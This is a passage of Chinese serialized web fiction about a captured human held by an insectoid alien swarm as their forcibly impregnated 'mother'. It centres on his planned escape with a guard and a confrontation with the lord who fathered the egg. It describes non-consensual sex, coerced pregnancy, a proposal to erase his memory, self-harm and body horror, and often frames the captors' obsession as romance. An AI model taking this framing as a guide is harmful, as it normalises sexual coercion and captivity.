这绝不是他。
对尤金来说,每在这里多停留一秒,窒息与麻木便更深一分,那个熟悉的自己何尝不是在光滑的皮肤下消失得更彻底。
自我救赎。
短短四个字,正是支撑着他想要尽早离开的原动力。
尤金垂下眼帘。
深吸了一口潮湿的冰冷空气,他在爱尔文的搀扶下,撑起身体离开了床榻。
“你认识以前的我吗?”
尤金问道,目光没有焦点地虚落在空气中,“或者说,半年前的我是什么样子,你还记得吗?”
爱尔文的眸光几不可察地闪烁了一下。
他当然记得。
与母亲的初遇,是当时在场的每一只虫族刻入骨髓的珍藏记忆。即便此刻想起,灵魂深处仍会泛起一阵愉悦的战栗。
尤金,半年前那个作为战利品被捕获的人类青年,眼中燃烧着火焰般的光彩。
他站立在破损飞船的碎片堆,就如同一株生长在荒原上的白桦,笔直,挺拔,带着一种锐利的生机。
由于异种侵袭,帝国此前下令封锁了非军用的星际航线。
即便是尤金这样的准军事人员,想要返回故乡,也只能铤而走险选择偷渡。
尤金算计好了一切。
但他唯独没算到自己偷渡的飞船会误入虫族的隐秘领空,在遭受成群的飞行虫群袭击后,飞船失控坠毁在了这颗废弃星上。
大半乘员当场死亡,幸存者也多因重伤不治,或沦为俘虏,或葬身荒野。
尤金在坠落的冲击中昏迷。
他朦胧中感觉有东西窸窸窣窣地爬过皮肤,随后口腔里被喂入某种甜腻的液体,大约是某一只高阶工蜂的舌尖蜜,令他恢复了短暂的清醒。
他挣扎着睁开眼,看到的便是无数双凝视着他的复眼,密密麻麻,冰冷而专注,构成了一个超出人类理解的诡异世界。
在这全是虫子的星球上,尤金理所应当以为自己迎来的是死亡。
却不想,降临在他身上的是令他精神几近崩溃的、彻头彻尾的亵渎。
当第一只异种禁锢着他的双腿,按压着他的腹腔,以最原始的方式触碰他时,尤金感到了前所未有的震怒。
这并非源于性别,而是源于物种界限被蛮横打破的极致耻辱,令他想也没想就划出袖子中隐藏的刀片,精准利落地割了最先靠近那只虫子的喉管。
漆黑黏稠的血液溅了他半张脸,他却只是抬起眼,冷眼扫视着那些形态各异,狰狞可怖的异形生物。
爱尔文也在场。
在自家领地,虫族很少维持拟态,因此当时环绕尤金的,皆是他们最原始最具冲击力的本体形态,诡谲,丑陋,充满金字塔顶端捕食者的野性。
他们就这样与脸上染血、眼神如刃的人类青年无声对峙。
尤金自然不会接受虫母的身份。
他宁可死去。
可或许是因为那日的暴雨格外猛烈,冲刷掉了他身上的血污与尘埃,让他湿透的身影在昏暗天光下,显出一种近乎圣洁的苍白与清晰。
明明是生死一线的绝境,却奇异地勾勒出一种惊心动魄的美丽。
所有虫群都静静凝视着他,鼻尖耸动,贪婪地嗅闻着他的气味。
那一瞬间,虫群来自于基因深处最深刻的链接疯狂地鸣叫着,达成了诡异的同频。
这就是我们的母亲。
只能是他,不会再是别人了。
爱尔文以及所有雄虫的脑海中飞速划过了这个念头,他们对此结论堪称笃定。
后来的事情顺理成章,尤金终究无力逃脱,被他们制服并带走回了巢穴。
但那个雨中
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握着刀片,冷脸与他们每一只虫子对峙的画面,却如同最高清的影像烙印在每一只在场虫族的感知里,反复回响。
爱尔文当然会时常想起那时的尤金。
他迫切地想知道,究竟是什么经历塑造了这样的存在,是什么样的过去,淬炼出了那样一双眼睛?
他想知道尤金的一切,从诞生之初的第一声啼哭,到蹒跚学步,到成长至今的每一分每一秒。这种渴望偏执且狂热。
因此,当尤金此刻问出这个问题时,爱尔文胸腔内骤然涌起一阵灼热的悸动,呼吸不受控制地沉重了几分,就连那总是沉静低垂的眼睫,都开始细微地颤抖。
仅仅是想象能从尤金口中听到关于他过去的只言片语,就足以让他感到一种病态般的满足。
然而,紧随其后的是一种更深沉的失落,因为尤金的过去里没有他,他永远无法亲自见证。
尤金看着他瞬息变幻的神情,极轻地笑了一声。
他承认自己此刻带着几分故意戏弄的坏心思,出于一种发泄般的恶意,慢条斯理地开口:“让你失望了,我并没打算告诉你什么。你最好也停止那些窥探我过去的念头。”
“我的记忆只属于我自己,与你无关。”
爱尔文明显黯淡下去。
他抿唇,一言不发,唯独死寂蔓延在周身,令人压抑。
却又听尤金慢悠悠继续道:“当然——那是我不久前的想法。现在我改变主意了,说与你听也不是不行。”
尤金抬起眼,目光落在这位近侍脸上,“可如果继续留在这里,连我自己都会慢慢忘记我曾经的模样,又如何能对你复述呢?”
“所以,爱尔文。”
他道:“在我彻底遗忘之前,你要和我一起离开。”
……
承诺。
珍贵的,神圣的,属于至高的母亲的承诺来临了。
这无异于是对他发出了独一无二的邀约,是一场隐秘的私奔,更是舞池中共舞的信号。
再没有比这更美妙、更浪漫的言语了。
爱尔文花费了一些时间才找到了自己的舌头,顺利地说出话来:“当然,我亲爱的母亲。”
语调里尽是难以抑制的迫切。
尤金达到目的,便转移了视线,不再讨论这个话题。
他随即询问起更重要的东西,譬如即将在主巢举行的仪式细节。
既然决心行动,就必须掌握流程,地点、步骤、时间,都问得仔细。
爱尔文逐一解答。
最后,他补充道:“此刻,各位领主已在主巢外按顺序入席,等候觐见您了。”
“考虑到您的身体状况,会面过程会被严格控制,不会耗费太久,妈妈只需应对过去就好。”
“领主们……”
尤金低声重复,脸上掠过一丝嘲弄,“先后顺序怎么决定的?那些家伙谁也不服谁,怎么这一次开始了团结。”
真是太阳打西边出来。
谁知爱尔文看了过来,平静地说:“是根据您的喜好来排定的,妈妈。”
尤金闻言挑眉:“我的喜好?呵。你倒说说看,我更加喜欢谁?”
爱尔文沉默了一瞬。
他胸膛微微起伏,随后才开口,声音比刚才低了一些:“准确地说,是根据与您交.配的次数作为依据来判定的。”
“在族群的认知逻辑里,与您交.配次数最多的个体,毫无疑问……是您最青睐,也最偏爱的对象。”
“白月蜘蛛一族的领主,德雷蒙德。”
他缓缓道出了那个人的身份:“您腹中虫卵的基因提供者、孩子的生物学父亲。”
“……”
须臾,尤金脸上没了表情。
15.Chapter15
白月蜘蛛。
德雷蒙德。
听到这个名字的瞬间,尤金的手指猛地收紧,指甲深深陷进掌心,留下几道泛白的月牙印痕。
大脑嗡地一声陷入空白,无数思绪翻涌而过,又迅速冻结,只有这个名字在颅骨内反复回响。
他想到了之前强吻他的维斯珀。
此人也是白蛛一族,而且还是领主德雷蒙德最得力的左膀右臂。
尤金之所以这么讨厌对方,除去维斯珀本身性格恶劣的原因,德雷蒙德,这个雄虫绝对占了很大一部分。
眩晕感毫无预兆地袭来。
尤金用手掌根抵住额头,脚步虚浮地晃了晃。腹部随之传来一阵清晰的脉动,似乎体内的生命也在因听到父亲的名字而欢欣鼓舞,庆祝着自己即将到来的降生。
“停下来。”
尤金闭上了眼睛,用手按压着自己的肚子,喃喃自语说,“安静点,别再动了。”
他稍微用了一点力气,将腹部按得凹陷,想让这恶心的搏动稍稍停止,至少别在这个时候雪上加霜地折磨他了。
然而却徒劳无功。
肚子里的虫卵好像感觉到了母亲的触碰,蠕动得更加剧烈,一下又一下,几乎雀跃地朝着他的掌心迎头撞来。
反胃感袭来,尤金双肩一颤。
这一刻,忍耐的阈值濒临极限,尤金胸膛剧烈起伏着,宛若遭到了所有人的背叛。
毫无预兆地扬起手,他狠狠砸向自己的肚子,想要让它真正意义上停滞不动:
“混账东西!”
仿佛挥向的不是自己的身体,尤金大口地喘着气:“我说了停下,听不到吗?!”
是啊。
他肚子里的孩子,来自德雷蒙德基因的卵球,能是什么好货色?
无外乎和他父亲一样是恶魔的化身,是个妄图想要栖息在他身体里,侵蚀他、吞噬他、啃咬他的怪物罢了。
尤金不意外它的不听话。
因为德雷蒙德也是如此,那只雄虫分外偏执疯狂,不可一世到堪称固执。
尤金至今都记得,那雄虫冷漠着脸,在高庭会议上对诸位领主提议要篡改他记忆,让他至少能在孕期乖乖当个好妈妈的场景。
“母亲对我们抱有敌意。”
银白色头发,瞳孔却深不见底的年轻领主手指敲了敲桌面,淡淡道:
“他此前已经有过数次自杀行为,还是在两只雄虫的共同看护下……这难道不值得重视起来吗?”
“现在,他怀孕了。”
“所以,不如直接将他身为人类,那过度累赘,毫无用处的自尊心抹去,为他灌输自己本身就是母亲的认知,直至他慢慢接受现实,心甘情愿地哺育孩子。”
发觉尤金出现在会议室门口,并且听到了他的话后,他甚至半点都没有表现出譬如惊讶之类的情绪。
而是牵动唇线,对难以置信望着他的尤金露出一个极致割裂的,与阴影无异的笑:
“再等等。”
他低声说:“很快,您就不会再感到痛苦了。所有不堪的,耻辱的记忆都将褪去,唯独留下我们相爱的证据。”
……
挥出去的手半途被抓住了,稳稳停在空中,不能动弹。
爱尔文呼唤他妈妈的声音像是从水底深处远远传来的,等尤金回过神时,发现自己已经被对方半抱在了怀里。
手臂藤蔓般固定着他的腰。
爱尔文宽厚的大掌扣着他的后脑勺,用指腹竭尽全力地安抚着他,将他被汗浸湿的额发拢起。
“妈妈。”
低下头,雄虫微凉的鼻尖轻触尤金的脸颊,复眼流转出幽暗的光泽:“您在发抖,您在害怕。”
他轻声说:“难道您的内心,已经以一个失败者的身份妥协了吗?”
尤金无力地扯了扯唇。
他紧紧抓着爱尔文的胳膊,艰难地借着他的支撑站直了身体,一字一句顿声道:
“开什么玩笑。”
说罢,压下心头的不适,尤金挣脱爱尔文的怀抱站稳,径直走向房门。
金属门禁系统感应到他的接近,幽蓝的光纹沿着门框流动。尤金侧头看向爱尔文,眼神示意他将门打开。
他很少从房间里出去。
一方面,是因为他的人身自由被严格限制着,虫族为了保护孕期格外脆弱的他,防止他遭受劣质虫族的恶意侵害,故而单方面禁止了他外出活动的权限。
另一方面,则是外面的世界对尤金来说,比被囚禁本身还要恶劣。
如果没有这层特制的,可以阻隔信息素气味的隔离墙壁,无处不在的雄虫求偶期散发的腥臭会直接冲击着他的感官。
尤金实在受不了那些黏腻、潮湿、带着腐朽甜腥的气息缠绕上自己。
所以如若必要,他绝不会选择出去,给自己找不自在。
果不其然。
门滑开的瞬间,混合着各种气味的信息素如同实质的潮水般涌来。
尤金屏住呼吸,却还是不可避免感觉到了有无数道视线精准地锁定了自己。
走廊两侧,整整二十八名巡逻侍卫在听到动静的刹那间,复眼齐齐调整焦距,视野三百六十度毫无死角地将他笼罩了。
那些目光带着生理性的饥渴,原始而野性,毫不掩饰垂涎之意。
空气中响起一片压抑的喘息声,甲壳的摩擦声,以及某种低频的,人类听觉几乎无法捕捉的嗡鸣震颤。
尤金皱眉。
爱尔文不着痕迹地侧身半步,挡在他与那些视线之间。
严格意义上讲他不该这么做的:毕竟今天是朝圣日,按照虫族传统,虫母本就会向所有虫族坦然地展现出自己的孕育状态,向整个族群宣告着生命的延续。
所有雄虫都会在万般期待间清晰地窥见他们母亲的身体,从发顶到指尖,从眉眼到脚腕。当然,也包括那腹部柔和的曲线。
可爱尔文依旧这么做了。
甚至在不久前,还是他将那件月白色长袍严严实实裹在了尤金身上,每一颗扣子都仔细系好,布料下摆,垂至脚踝,就连褶皱之间都不留一丝缝隙。
“母亲,您的着装……”
一名侍卫不自觉地向前挪了半步,口器微微颤动,发出含混的音节,“或许不太符合仪式的规范。”
他试图越过爱尔文去看尤金,但失败了,看不到尤金腹部令他感到焦躁难耐。
在庆祝受孕的节日上唯独不展露出腹部,这种行为当然是不符合期许的。
众虫难免感到失望。
这样说着,这些侍卫雄虫完全忘记了守卫职责,纷纷用复眼紧盯着尤金,信息素浓度在空气中急剧攀升。
这是尤金长期隔离后突然暴露带来的本能反应,虫族对虫母的渴求,在压抑后只会爆发得更加剧烈。
“不合适?”
尤金侧身在爱尔文的身后,毫无波澜的眸子从一侧痴痴望着自己的雄虫身上扫过,“怎么,很难看吗?”
他声音很轻,喧嚣的走廊却蓦地安静了下来。
从爱尔文身后走出半步,月光色的衣服衬得尤金的肤色越发白皙,好似铺上了一层朦胧的纱,看起来有些不真实。
没有人能说他是“难看”的。
即便以虫族那迥异于人类的审美标准来看,也不能。
雄虫远超人类的动态视力能捕捉最细微的光影变化,从任何角度看,这张脸,这具身躯都散发出一种令他们基因战栗,本能臣服的吸引力。
即便心怀恶意,也没有人能对着这张面孔说出“丑陋”二字。
那是源自生命底层代码的绝对诱惑,如果说他们的母亲生来便是磁石,他们则是无数想要吸附上去的铁屑。
即便尤金永远冷若冰霜,也有源源不断地如同扑火飞蛾的雄虫,为他前赴后继。
想多听他说一个字。
想多吸一口他那沉醉入骨的气息。
想多在他视野中停留,哪怕母亲冷淡的目光只有一瞥,短暂落在他们身上。
这点滴累积的贪婪,铸成了每一只雄虫骨髓深处对尤金的痴迷。
此时,被尤金那双属于人类的澄澈的眼眸静静地注视着,侍卫竭力处理着这过于强烈的冲击。
“不,不,母亲……”
嘴巴艰难地开合,他吐出的音节含糊黏连,拼命发出讨好的低沉嗡鸣:
“我绝不是那个意思。世上不会有比您更加美丽的存在了,请您原谅您的孩子无知的冒犯,求您。”
尤金移开视线,仿佛只是瞥过一件无关紧要的物件。
“既然没问题,那就退开。”
他道:“少在我面前碍眼。”
再没有虫子敢多言。
护卫们动作划一地退向两侧,甲壳摩擦,让出一条通道。数道目光仍如实质
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地黏着在他离去的背影上。
直到走出那条被浑浊腥臭气息浸透的走廊,接触到相对新鲜的空气,尤金才重重地吸了一口气。
紧绷的脊背微微松弛,一丝难以掩饰的疲惫刚爬上眉梢。
爱尔文的手臂从背后环来,一手稳稳托住他的脊背,另一手穿过他的膝弯,轻巧地将他整个人抱离地面。
尤金的眼睫微微颤动了一下,瞳孔有些微的收缩,随即又恢复了惯常的沉静。
如果在从前,他绝不可能容许任何异种的靠近,即便是相对温和的爱尔文。
但此刻不同——
他刚刚与爱尔文达成了脆弱的共识,没有理由立刻推开这唯一的盟友。
尤金自认为对于爱尔文这样本性不安分,时刻觊觎着自己的雄虫来说,偶尔给予一点甜头能让他变得更加听话。
于是他没有表露出明显的抗拒,只在短暂的迟疑后自然流畅地抬起手臂,环住了爱尔文的脖颈,将自己以一个更舒适的姿势倚靠进对方怀里。
爱尔文垂眸。
他目光落在怀中尤金的身上,从他的角度只能看见尤金纤长的睫毛,和因挤压而微微鼓起的半边脸颊。其余的表情一概未知。
母亲此刻在想什么?
对于自己,会不会稍微有了那么一点依赖?
手臂不自觉地收紧,爱尔文环住尤金的腰腹,直到肌肉的每一寸都清楚地感知到怀中尤金的这具身躯存在,才呼出了一口气。
“别担心。”
他道:“无论面对什么,我都会在一旁陪伴着您。”
尤金没有回应。
他的注意力已被前方豁然开朗的主殿完全攫取了。
与虫族惯常简陋原始的巢穴风格截然不同,这座宫殿极尽奢华,完全是仿照着人类古典皇庭的形制建造而成的。
这是在尤金降临于此后,雄虫们为他特意修筑的行宫。
地面、墙壁、穹顶,都被铺陈上最昂贵的工艺,镶嵌着从各个星系掠夺而来的奇异宝石与发光矿物。
整个空间弥漫着一种刻意堆砌的、近乎病态的富丽堂皇,只为给他们的母亲营造出最奢靡的场所。
尤金的目光越过长长的走道,落在尽头高台之上的王座。
那是一座完全由黄金与稀有宝石打造的宝座,在幽暗的光线下流转着璀璨夺目的辉光。
坐在这里,尤金完全可以想象到俯瞰整个虫巢匍匐在脚下的景象,这正是虫族将它建造在这里的用意。
何其虚假的荣誉。
尤金懒得对此做出评价。
爱尔文将他平稳地放置在王座上:“面见完领主们后,您还需要在此多停留片刻,这个过程不会太长。”
“届时,会有十六台悬浮直播设备启动,将您的身影同步至整个巢穴,给予这颗星球所有看到您身影的雄虫对您实行朝拜礼的荣耀。”
“重要的是仪式结束之后。”
“按照传统,将由作为近侍的我护送您前往虫族圣地,饮下生命之泉的泉水,接受孕育祝福。”
“妈妈,这是唯一允许我单独伴随您的环节,也是我们计划中唯一的机会。”
“那只工蜂……缪可已经将一架小型飞行舱藏在了预定的坐标,只要穿过西边的森林,我们就可以直接进行转移。”
尤金几不可察地点了点头。
流程他已经烂熟于心。
想到不久之后就能彻底逃离这噩梦般的地方,一丝微弱的,许久未曾感受过的光亮悄然漫上心头。
死水般毫无波澜的眼眸都比寻常要亮了几分,尤金微微动了动唇,勾勒出一个浅淡苍白的笑弧。
然而。
这丝微光几秒都没能维持。
一道声音从大殿深处传来,仿佛贴合着每一缕空气的振动,带着某种金属质地被缓慢碾磨的磁性:
“许久不见。”
那声音低沉,表面虽然保持着无可挑剔的礼貌腔调,实则字里行间都流露着一贯的上位者的威慑。
内侧门扉开合,光线随之变化,一个身穿黑灰色长袍,款式考究,剪裁利落的银发男人的轮廓渐渐显露了出来。
“孕育得这样辛苦。”
他注视着尤金,眼神像是在看一个合他心意,但并不十分听话的孩子,缓缓道:
“脸颊都消瘦了不少。”
……
德雷蒙德。
16.Chapter16
德雷蒙德。
这位白蛛一族的领主,真不愧为这个名字的最高诠释者,一举一动都散发着掌控的韵味。
好似一张无处不在的蛛网,以守护为名实施统治的压迫,悄然将猎物收复、收紧。
半点没有被尤金警惕的自觉。
他就这样迈着不急不缓的步伐,不疾不徐,踩在大殿光洁如镜的地面上,踏着一片片光与影的交错,向着高台上那张笼罩在阴郁中的面容逼近。
“停在那。”
尤金咬字很用力,“不许靠近我。”
他的嘴唇抿成一道苍白的直线,脸颊失去血色,如同冬日枝头最薄的那片脆弱而透明的雪。
指节深深嵌入王座扶手坚硬冰冷的轮廓,硌出的细微痛感是此刻唯一的真实。
余光里,尤金看见自己的指尖正在无法抑制地细微颤抖。
“……”
真是狼狈透顶。
他想。
自从那次高庭会议上,听到对方用谈论天气的口吻提议抹去他的记忆后,德雷蒙德便成了他意识深处一片驱不散的阴霾。
如今再度直面此人,他的身体竟先于意志一步,做出了如此不堪的反应。
尤金并不畏惧死亡。
或许最初是怕的,但当经历的困境与屈辱无数次碾过死亡的界限后,终结反倒成了一种模糊的、甚至带有慰藉意味的解脱。
他此刻惧怕的,是他不再是他。
倘若记忆被篡改,意识被模糊,躯壳里只剩下虫母的本能,允许每一只雄虫对他予取予求,肆意凌辱,那他还算是“尤金”吗?
当自我认知成为俘虏,被驯化的母爱层层置换,他将如雄虫们所愿,盲目而泛滥地对每一个后代散发出母性光辉。
届时,这具身躯连唯一的纯净地都将荡然无存。
尤金由衷地否决着这种可能。
呼吸紊乱了须臾。
压下胸腔里翻涌的窒息,他疲声道,“你已经见过我了,回去吧。”
脚步一顿。
德雷蒙德竟真如尤金所言地在阶前停下脚步,只抬起头,目光缓慢而绵长地舔过尤金的全身,最终落在那张唯一没有被月光色长袍遮掩的脸庞上。
没有直言肯与不肯,他转而提起了另一个话题:
“这王座果然如我所想,与母亲的身体无比契合,您觉得呢?”
在尤金的注视下,他声音低沉悦耳,带着磁性,宛如在吟诵某篇古老的诗歌,接着道:
“不愧是我亲自设计,为您量身打造的杰作,能观赏到您使用它,我深感荣幸。”
“……”
尤金喉结无声地滑动了一下。
沉寂在空气中蔓延良久,他摸不准此人的用意,只觉得心底的烦躁逐渐冒头。
他冷声:“座椅不会因为被谁设计,用了什么材料就变得特殊。难道你制作了它,就能改变它仅仅只是一把椅子的事实吗?”
“放在这里被人使用,”尤金说,“它的功能和价值也就仅限于此了。”
“呵。”
德雷蒙德低低地笑了。
那笑声极轻,却像一缕无色无味的毒烟,在这空旷华丽的大殿里幽幽散开。
“不一样的,母亲。”
他拾级而上,再次逼近,最终立于王座一侧,投下的阴影如深渊张开的巨口,将尤金连同他所在的空间也完全吞噬。
“它外表的黄金与宝石,您当然可以斥之为俗物。但支撑起整座王座的核心部分,也就是它的骨架——”
刻意停顿,他再接着补充:
“则是我蜕皮时剥下的外骨骼。是我身体的一部分。是我。”
尤金浑身一僵。
血液仿佛在刹那间凝固了,他还没来得及做出反应,就见那德雷蒙德微微俯身。
气息拂过他的耳尖,裹挟着冰冷金属味道的雄虫气息弥漫而来:
“建造它时我便在想,如果想要母亲坐在这里,就等于被我从里到外,完完整整地抱住,光有蜕皮下来的,死去的旧壳还不够。”
他的声音压得更低,像最黏稠的液体,裹着蛊惑般的缱绻缓缓注入尤金的耳膜。
“死的东西怎么配感受您?”
“它得是活的。至少,得带着我活着时的记忆和感觉。”
“所以,我从自己身上取了些东西。”
他指尖顺着尤金流畅的腿部线条,轻轻点在了他大腿外侧的肌肤上,力度适中,“先是这里。够硬够直的腿骨。”
“我截下一段,想着它应该能稳稳托住您。”
尤金试着挣动,那手却像长在了他身上般,德雷蒙德似是毫无所觉,继续用那种探讨般的语气说着:
“可后来觉得不对,腿骨太笨拙,形状不够美观轻盈,缺少灵性。”
那手继而滑向腰侧,若有似无地擦过髋骨的位置,又在尤金反应过来之前精准地握住了他的手腕。
“然后是这儿,精巧灵活的腕骨。”
“我想它也许会满足我的要求,但可惜,它体积不太够,承载不了王座的大小,连同其上镶嵌上的宝石重量也远远不够。”
“好在最后,我找到了那个最合适的部位。”
德雷蒙德的音调在此时稍稍扬起几分,渗出些许压抑不住的满足,仿佛通过叙述回忆起了当时愉悦舒畅的心情。
停在尤金身后的指尖隔着那层月白袍子,顺着脊背中央一节、一节,极其缓慢地向上攀爬。
尤金背脊僵直。
每一寸被他触碰的肌肤都像被冰冷的火焰灼烧,他清晰感觉到对方指尖的轨迹,正对应着他自己的骨骼。
那个位置。
那个位置。
“您猜对了,正是背脊的中心,一节连着一节支撑着整个身体的巨大框架。”
德雷蒙德夸赞道。
他嗓音带着一种沉醉的战栗,似乎发自内心地为此感到愉快,“我取下了最完整的脊椎骨,它完美地符合我的要求。”
“由于下一次的蜕皮期还没有到来,它还是活着的……日日夜夜,等着您坐上来。”
“感觉到了吗,母亲?”
“从您走进这大厅,坐上这把椅子开始,您呼吸的每一口气都浸着我的味道。呵,您当然没有发现。”
这样说着,德雷蒙德几乎压制不住那刻骨的战栗了。
复眼里幽光闪烁,他胸腔的震动透过紧贴的身体传递到尤金身上:
“因为您从头到脚,从里到外都被这味道泡透了。这是我骨肉的功劳。”
他声音越来越轻,完全称得上是温柔,却比任何胁迫都要令尤金毛骨悚然:“瞧您这一无所知的可爱样子。”
“母亲,母亲……”
“虽然我至今为止,都认为其他领主们不同意篡改您的记忆的决定是愚蠢且错误的,却也不得不承认,您还是鲜活的时候更加迷人。”
他嘴唇贴近,似乎想要落在尤金睁大着的眼眶上,留下一个湿冷的印记。
蹭!
尤金再也忍不了了,他条件反射般猛地站起身,剧烈而急促地呼吸着。
动作太急,导致他下腹一阵尖锐的坠痛,伴随着虫卵不安分的躁动,顺着四肢百骸蔓延开来。
他蜷缩着上身,深深喘息了好几口,竭力想要维持住身形,却失败了,熟悉的负面情绪再一次将他充斥。
恶心憎恨,愤怒不甘,统统卷土重来。
身下王座接触过肌肤的地方像是烧起了冰冷的火,顺着神经
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脉络一路往上爬,钻进颅骨,啃噬着他最后一点理智。
“你这个疯子!”
尤金痛斥出声,他想把这把用怪物骨骼铸成的椅子砸得粉碎,把眼前这张令人作呕的脸撕烂。
指尖蜷缩,松开,再次狠狠攥紧。
可那洗脑般的话语此刻却在他耳边响起了:这是我们唯一的机会。
计划。
逃跑。
离开。
这些字眼像致命的鱼饵维护着他濒临崩断的神经,临时起意的计划如他一般再经不起风浪了。
尤金闭上眼。
再睁开时,眼底翻涌的戾气被一点点压下去,剩下一片死寂的空洞。他没有接着争辩,只露出那种被攥住五脏六腑般无力荒诞的神情。
如果不是他此刻的胸膛还在浅浅呼吸着,他仿佛成了一具死去的雕像。
德雷蒙德垂眸看他。
他太熟悉尤金的反应了:每一次他坦诚地表露心迹,那双属于人类的眼眸都会投来看待不可理喻的怪物般的眼神,充满了纯粹而不加掩饰的厌恶。
憎恨与抗拒让他既困惑又不解。
可现在。
尤金只是低着头,微微垂着眼帘,长长的睫毛遮住眼底情绪。
他肩背绷得笔直,已然气到了极致,却透着一种被逼到绝境后,反倒全都不顾了的顺从。
逆来顺受。
怀孕的虫母,他认定的妻子,那颗高傲而美丽的头颅在他面前侧开,像是默认了自己的失败,传递出臣服与放弃的信号。
喘息猛地剧烈了许多。
德雷蒙德完全被引诱了,向前伸出手,想要更加深刻地去触碰尤金的脸颊。
太久了。
他太久没有如此触碰过他。
他想念那柔软的发丝,他甚至已经回忆起了指尖陷入那片细腻肌肤的触感,这些记忆牵一发而动全身,让他脑海里清晰地浮现出尤金在自己怀里轻微颤抖的模样。
近乎诡异的直觉告诉他,如果现在碰尤金,他那美丽的母亲一定不会阻拦。
因为此时此刻,他完全没有了与此抗争的力气。
尤金已然认输。
可就在他伸出去的宽大手掌,即将触到那片微凉发丝的同时——
“啪!”
清脆而凌厉的一声响突兀划破死寂,德雷蒙德那伸出去的手被狠狠弹开。
从近乎迷醉的占有欲里抽离回神,德雷蒙德抬眼,对上爱尔文那双幽暗的复眼。
后方的近侍不知何时上前。
漆黑的身影站在尤金身侧,他整个人像一张拉满了弦的弓,周身气息冷冽刺骨。那张脸上没有任何多余表情,只那双复眼深处蔓延着涟漪般的敌意。
两只雄虫在这一刻无声对视。
无需言语和动作,他们彼此都在对方眼中看见了最直白、最心知肚明的东西。
杀意。
德雷蒙德缓缓眯起眼。
他先扫过爱尔文方才攻击他的节肢,再落回尤金那侧脸,慢悠悠收回手,指腹随意地拂过刚刚被抽开的位置。
大殿里的温度降了几分。
那银发的领主,德雷蒙德唇角流连的弧度一点点敛去:“好一个忠心的近侍。”
视线自始至终落在尤金身上的视线,被吝啬地分给了爱尔文一些,德雷蒙德语气平淡,却透着独有的威压:
“守护孕期的虫母,隔绝其他雄虫的冒犯触碰……如果没有记错,这还是高层会议上我直接下达你的命令,爱尔文。”
“是的。”
爱尔文颔首承认,“所以我这么做了,领主阁下——请你听从母亲的命令,后退到安全区域。”
“否则,我将执行我的使命,将你驱逐出去。”
17.Chapter17
死寂。
空气如同凝固的冰,无声弥漫着足以将人冻伤的低温。
德雷蒙德脸上最后一丝伪装温和的弧度消散了,取而代之的是彻骨的森然。
属于顶级掠食者的危险气息扑面而来,与爱尔文针锋相对的寒意在半空中碰撞,迸发出无形的硝烟。
剑拔弩张,一触即发。
见此,爱尔文身上的拟态寸寸褪去,露出锋利的前肢,漆黑的镰刃,复眼紧锁着眼前的领主,透着浓浓的威胁。
就在这时——
德雷蒙德的视线却极其细微地偏移了一瞬,他并没有看向咄咄逼人的近侍,而是越过他的防御,落回了尤金的脸上。
他捕捉到了一个细节。
一个几乎可以忽略不计,却在他复眼的结构下无所遁形的细节。
他们两者对峙之际,尤金眼睫轻微颤动了一下,仓促瞥向爱尔文方向的眼神里,飞快掠过了一抹担忧。
担忧?
这个词语陌生到德雷蒙德反应了一会儿,才理解它的含义是什么,不免为此感到荒唐起来。
他们那冷淡的,如夜空,如冰雪般难以融化的母亲,什么时候,也会对一只雄虫流露出这种生动柔软的表情了?
他记忆中的尤金,面对这些所谓的子嗣和配偶的求爱,从来都只有摆在明面上的疏离敷衍。
再多一些,就只剩下了身为男性却被如此追求对待的愤怒,以及无力摆脱的隐忍。
德雷蒙德见过尤金无数种眼神,唯独没有这种自然而然流露的,甚至带有一丝隐秘的、亲昵意味的担忧。
如此刺眼。
德雷蒙德想,它意味着尤金的心神被牵引了。意味着黑镰一族的近侍爱尔文,竟然在他未察觉的角落里,获得了某种“特别”。
这不应该。
尤金可以对所有雄虫一视同仁地憎恶,却绝不应该只对其中一个,投以任何形式的特殊关注。
不快。
一种尖锐的、被冒犯的不快裹挟着躁郁,瞬间压过了对爱尔文忤逆的愤怒。
几乎是在思维得出结论之前,德雷蒙德的身体就已然行动了。
“很好。”
一声极轻的,意味不明的气音从德雷蒙德的喉间溢出。
下一秒,银光乍现!
数条泛着冷光狰狞无比的银色节肢自他身后探出,在顶灯光芒的照射下显得格外眼花缭乱。
宛如潜伏已久弹射而出的毒蛇,它们以一种不可思议的速度和角度,倏地缠上了尤金的腰肢和手臂。
“唔!”
尤金猝不及防,只来得及发出一声短暂的闷哼,整个人便被一股不容抗拒的巨力从原地猛地拽离。
天旋地转。
沉重的,属于德雷蒙德独有的气息瞬时将他严丝合缝地包围。
前胸重重撞上一片坚硬寒冷的胸膛,隔着衣料也能感受到其下蕴含的力量,尤金仿若被钉在德雷蒙德的怀里,动弹不得。
空中有簌簌的白屑落下。
那是爱尔文斩断的用于扰乱视线,迷惑佯攻的蜘蛛节肢,纷纷扬扬洒落满地。
然而等这铺天盖地的白消失,尤金已然被彻底擒获,整个人都被德雷蒙德强掳了过去。
“妈妈!”
他胸腔内发出一声嗡鸣,以一种噪音般的频率震荡着,可德雷蒙德完全抓住了他不会对尤金方向挥刀的弱点,发难来得毫无征兆。
“放开,放开!”
在意识到自己被谁抱着之后,尤金就像一只被踩了尾巴应激的猫,全身的毛都根根炸开。
用尽力气挣扎反抗,他双手拼命抵着德雷蒙德箍着他的手臂不断推阻,然而这家伙却如一个不可撼动的山峦,巍然不动。
熟悉的厌恶和恐惧呼啸而上,比刚才强烈百倍,过往那些糟糕的记忆不断浮现,尤金几乎要无法呼吸了。
他的喘息开始变得混乱,像得了呼吸困难的疾病,喉咙里发出他自己都听不到的气音,俨然已经摄取不到氧气。
恍然间,尤金想起刚降落到这颗星球的时候。
领主们针对最先让他怀上哪支族群的孩子这一话题,展开了激烈的交锋。
虫母只有一个,青涩稚嫩的孕囊也还没有发育完全,里面的初始容量只有可怜的五毫升,相当于只能装下一个瓶盖的体积。
然而最小的一颗卵都有成年雄虫的手掌般大小,他连卵的五分之一都塞不进去,更别说孕育出婴儿的胚胎。
在此之前。
雄虫们需要做的,是先想办法将那小小的繁衍地扩开,直到变成一个足够大的空间。使用什么工具就变成了一个难题。
生殖腕绝对不可以。
虽然绝大多数的雄虫都想将那玩意放进母亲的身体里,但不可否认它确实太过粗糙以及粗暴。他们不能保证自己在进入发情期后,闻到母亲的味道还能保持理智。
所以,关于尤金最先怀上哪一支族群的孩子的争论,飞快演变成如何避免在伤到虫母的情况下,还能令他做好受孕的准备。
谁先做到这一点,就代表着胜利,代表他可以获得最先令珍贵的虫母繁衍的权利。
结果不言而喻。
